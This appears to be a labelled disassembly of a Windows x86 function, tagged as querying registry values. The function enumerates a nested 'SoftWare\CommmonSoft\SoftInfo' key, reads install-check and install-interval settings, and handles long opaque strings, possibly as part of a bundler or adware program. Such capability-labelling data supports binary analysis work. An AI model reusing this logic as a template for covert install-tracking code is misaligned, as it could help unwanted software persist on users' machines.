Function at 0x437350
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53720b
mov eax, dword fs:[0]
push eax
sub esp, 0x5d4
mov eax, dword [0x657114]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x5c8], ebx
mov ecx, dword [ebx + 0x60]
mov eax, dword [ecx]
call dword [eax + 0x4c]
test eax, eax
jle 0x437a43
mov dword [ebp - 0x5c4], 0
mov dword [ebp - 0x5c0], 0
mov dword [ebp - 0x5b4], 0
call fcn.0046f14c
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x5c4]
push eax
push 0xf003f
push 0
push str.SoftWare
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x437a43
call fcn.0046da7b
lea eax, [ebp - 0x5c0]
push eax
push 0xf003f
push 0
push str.CommmonSoft
push dword [ebp - 0x5c4]
call esi
test eax, eax
jne 0x437a43
lea eax, [ebp - 0x5b4]
push eax
push 0xf003f
push 0
push str.SoftInfo
push dword [ebp - 0x5c0]
call esi
test eax, eax
jne 0x437a43
lea ecx, [ebp - 0x5bc]
mov dword [ebp - 0x5bc], eax
mov dword [ebp - 0x5b8], eax
call fcn.004313c0
mov dword [ebp - 0x5bc], eax
mov dword [ebp - 4], 0
xor esi, esi
call fcn.00472d98
mov dword [ebp - 0x5a4], esi
mov dword [ebp - 0x5b0], 0x100
mov dword [ebp - 0x5a8], 4
mov dword [ebp - 0x5ac], 4
call fcn.0046e164
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5ac]
push eax
push esi
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x110]
push eax
push esi
push dword [ebp - 0x5b4]
call edi
test eax, eax
jne 0x4375b6
nop dword [eax + eax]
cmp byte [ebp - 0x110], 0
mov dword [ebp - 0x544], 0xf
mov dword [ebp - 0x548], 0
mov byte [ebp - 0x558], 0
jne 0x4374e8
xor eax, eax
jmp 0x4374fa
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4374f1
sub eax, edx
push eax
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x558]
call fcn.00407bd0
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x5bc]
call fcn.00436af0
mov ecx, dword [ebp - 0x5a4]
mov byte [ebp - 4], 0
mov dword [eax], ecx
mov eax, dword [ebp - 0x544]
cmp eax, 0x10
jb 0x43754d
inc eax
lea ecx, [ebp - 0x558]
push eax
push dword [ebp - 0x558]
call fcn.00407cd0
inc esi
call fcn.00472d98
mov dword [ebp - 0x5a4], 0
mov dword [ebp - 0x5b0], 0x100
mov dword [ebp - 0x5a8], 4
mov dword [ebp - 0x5ac], 4
call fcn.0046e164
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5ac]
push eax
push 0
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x110]
push eax
push esi
push dword [ebp - 0x5b4]
call edi
test eax, eax
je 0x4374c0
mov eax, dword [ebp - 0x5b4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4375c9
push eax
call esi
mov eax, dword [ebp - 0x5c0]
test eax, eax
je 0x4375d6
push eax
call esi
push dword [ebp - 0x5c4]
call esi
mov dword [ebp - 0x5e0], 0
mov dword [ebp - 0x5dc], 0
mov dword [ebp - 0x5d8], 0
mov ecx, 0x7a
mov byte [ebp - 4], 2
mov esi, str.0jAosdkXW6AekSvPio4s1hSD2iVk4wlDBd4Fl44A4Rk6I0HrnHwuM8D7q5fFNSzglBrEXwSCWhYz760KS97WDRjLyGyaoxcGb3MH9NZ01aTCKXDpbIlUkAL1KwL7c5hyaDSkjMv8KHKUCsZlj2pW4E2DP1HoTNcRiaNRqjXwpqFYYXj5hOoVWbcv9jhseLGlsKC9P0klXrsHMxWSwKmJaU2L3Im9xjSqHb6WbqUfsXL7BqCMsosYpDXajhsyN5DqqH0KPnkaYgl8mIwYgLsRk1MWSQwJBVyXd46qfHNMdAW7NetrrG2x2DrhVTrt6CTBR9yi2Kw7ldDA3kbLVy088qR21Ld1dUo9RYosxCQoQmDFIsLx4C0TKgPNy4yTFrNskT829YVJ1dOO8F0w2LohNTfgXKmyUg5u9pEU4ucoZwbthK5TOjOMuNbjCXKDq5KL60cJDmcospxHA9lkFPCmN8SLjRO4dzJGozX9FX8VH8
mov dword [ebp - 0x544], 0xf
lea edi, [ebp - 0x404]
mov dword [ebp - 0x548], 0
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x558], 0
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x404], 0
jne 0x43763d
xor ecx, ecx
jmp 0x43764f
lea ecx, [ebp - 0x404]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437646
sub ecx, edx
push ecx
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x558]
call fcn.00407bd0
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x5e0]
call fcn.00407e30
mov eax, dword [ebp - 0x544]
mov byte [ebp - 4], 2
cmp eax, 0x10
jb 0x43769a
inc eax
lea ecx, [ebp - 0x558]
push eax
push dword [ebp - 0x558]
call fcn.00407cd0
call fcn.004d0590
mov ecx, dword [ebx + 0x60]
mov dword [ebp - 0x5a8], eax
mov ebx, dword [ecx + 4]
cmp ebx, dword [ecx + 8]
je 0x437a08
nop dword [eax]
nop dword [eax + eax]
mov esi, dword [ebx + 0x18]
mov dword [ebp - 0x5a4], esi
call fcn.00402160
push 0x10
xor eax, eax
mov dword [ebp - 0x55c], 7
push str.InstallCheckName
lea ecx, [ebp - 0x570]
mov dword [ebp - 0x560], 0
mov word [ebp - 0x570], ax
call fcn.00402650
mov eax, dword [esi]
lea ecx, [ebp - 0x570]
push ecx
mov ecx, esi
mov byte [ebp - 4], 4
call dword [eax + 0x1c]
mov ecx, dword [ebp - 0x55c]
mov edi, eax
mov byte [ebp - 4], 2
cmp ecx, 8
jb 0x437733
inc ecx
push ecx
push dword [ebp - 0x570]
lea ecx, [ebp - 0x570]
call fcn.00402750
xor eax, eax
mov dword [ebp - 0x55c], 7
push 0x13
push str.InstallIntervarTime
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x560], 0
mov word [ebp - 0x570], ax
mov dword [ebp - 0x544], 7
mov dword [ebp - 0x548], eax
mov word [ebp - 0x558], ax
call fcn.00402650
mov eax, dword [esi]
lea ecx, [ebp - 0x558]
push ecx
mov ecx, esi
mov byte [ebp - 4], 5
call dword [eax + 0x1c]
mov ecx, dword [ebp - 0x544]
mov esi, eax
mov byte [ebp - 4], 2
cmp ecx, 8
jb 0x4377af
inc ecx
push ecx
push dword [ebp - 0x558]
lea ecx, [ebp - 0x558]
call fcn.00402750
xor eax, eax
mov dword [ebp - 0x544], 7
mov dword [ebp - 0x548], 0
mov word [ebp - 0x558], ax
test edi, edi
je 0x4379f3
test esi, esi
je 0x4379f3
cmp dword [esi + 0x14], 8
jb 0x4377e4
mov esi, dword [esi]
push esi
call fcn.004e71c9
push 0x104
mov esi, eax
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.004e37a0
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004e37a0
add esp, 0x1c
mov dword [ebp - 0x5b0], 0xbb8
cmp dword [edi + 0x14], 8
jb 0x437827
mov edi, dword [edi]
lea eax, [ebp - 0x114]
push eax
push edi
call fcn.004cd27c
add esp, 8
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x5a0]
push eax
call fcn.00405820
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 6
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437856
lea eax, [ebp - 0x5b0]
sub ecx, edx
push eax
lea eax, [ebp - 0x218]
push eax
push ecx
lea eax, [ebp - 0x114]
push eax
call fcn.004c820f
add esp, 0x10
lea eax, [ebp - 0x218]
lea ecx, [ebp - 0x558]
push eax
call fcn.00405820
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0x5ac]
push eax
lea ecx, [ebp - 0x5bc]
call fcn.00459520
mov eax, dword [ebp - 0x544]
cmp eax, 0x10
jb 0x4378ca
inc eax
lea ecx, [ebp - 0x558]
push eax
push dword [ebp - 0x558]
call fcn.00407cd0
mov eax, dword [ebp - 0x5ac]
cmp eax, dword [ebp - 0x5bc]
je 0x4379e4
mov ecx, dword [ebp - 0x5a8]
sub ecx, dword [eax + 0x28]
cmp ecx, esi
jge 0x4379e4
mov dword [ebp - 0x5d4], 0
mov dword [ebp - 0x5d0], 0
mov dword [ebp - 0x5cc], 0
mov ecx, 0x4e
mov byte [ebp - 4], 8
mov esi, str.kNJV0AkqFbK1r7eeMr80YuRlsXBfRnuseqxMErZMugXK1TeSiZYZbttCEh2svWdPPFRQYOwfXsMc58MJpno3W7JotVR8xvCt6CxoXwpbzrB55Kio3W0PNy5vSRQ09x33BAgcf9ux4GAfIqCVkjVYzgnNZUNUwOAuCJuTlafwNARF03ufUM6JO8MjaJUQjb1li1DA9OGPd1kqhhGpWCQqRWkPllJdrhDi5BqOTnirca9dtrnioYPSrZ9iYRTQAbSa3LjcR0SeTqJ5BKLV6Ow0e6PpCiEGi4020528n3pnEcLHBTMuLenMwYSCx
lea edi, [ebp - 0x540]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x558]
movsw word es:[edi], word [esi]
call fcn.00405820
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x5d4]
call fcn.00407e30
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 8
call fcn.00405970
push 0x59e514
lea ecx, [ebp - 0x570]
call fcn.004024f0
lea eax, [ebp - 0x588]
mov byte [ebp - 4], 0xa
push 0x35
push eax
call fcn.00408fb0
mov ecx, eax
call fcn.0041a260
cmp dword [eax + 0x14], 8
mov byte [ebp - 4], 0xb
jb 0x43798f
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x558]
call fcn.004024f0
mov ecx, dword [ebp - 0x5a4]
lea edx, [ebp - 0x570]
push edx
lea edx, [ebp - 0x558]
mov byte [ebp - 4], 0xc
push edx
mov eax, dword [ecx]
call dword [eax + 8]
lea ecx, [ebp - 0x558]
call fcn.004024b0
lea ecx, [ebp - 0x588]
call fcn.004024b0
lea ecx, [ebp - 0x570]
call fcn.004024b0
lea ecx, [ebp - 0x5d4]
call fcn.004059b0
lea ecx, [ebp - 0x5a0]
mov byte [ebp - 4], 2
call fcn.00405970
mov eax, dword [ebp - 0x5c8]
add ebx, 0x1c
mov eax, dword [eax + 0x60]
cmp ebx, dword [eax + 8]
jne 0x4376c0
lea ecx, [ebp - 0x5e0]
call fcn.004059b0
mov eax, dword [ebp - 0x5bc]
lea ecx, [ebp - 0x5bc]
push eax
mov dword [ebp - 4], 0xe
push dword [eax]
lea eax, [ebp - 0x5c8]
push eax
call fcn.00459150
push dword [ebp - 0x5bc]
call fcn.004bead5
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004682d0
mov esp, ebp
pop ebp
ret